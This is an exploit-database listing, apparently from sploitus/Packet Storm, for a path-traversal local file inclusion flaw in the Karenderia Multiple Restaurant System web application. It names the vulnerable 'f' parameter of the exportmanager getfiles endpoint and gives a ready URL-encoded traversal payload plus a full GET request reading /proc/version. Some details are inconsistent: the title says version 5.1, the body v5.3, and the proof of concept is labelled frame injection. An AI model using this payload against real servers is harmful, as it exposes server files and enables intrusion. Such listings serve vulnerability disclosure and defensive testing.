Exploit for Karenderia CMS 5.1 Local File Inclusion

Name: Exploit for Karenderia CMS 5.1 Local File Inclusion
Rating: 5 (58 reviews)

2019-07-04 | CVSS 0.1

## https://sploitus.com/exploit?id=PACKETSTORM:153537
===========================================================================================  
# Exploit Title: Karenderia CMS 5.1 - LFI Vuln.  
# Dork: N/A  
# Date: 04-07-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: buyer2@codemywebapps.com  
# Software Link:  
https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694  
# Version: v5.3  
# Category: Webapps  
# Tested on: Wamp64, Windows  
# CVE: N/A  
# Software Description: Karenderia Multiple Restaurant System is a  
restaurant food ordering and restaurant membership system.  
===========================================================================================  
# POC - Frame Inj  
# Parameters : f  
# Attack Pattern :  
%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion  
# GET Method :  
http://localhost/kmrs/exportmanager/ajax/getfiles?f=/../../../../../../../../../../proc/version  
===========================================================================================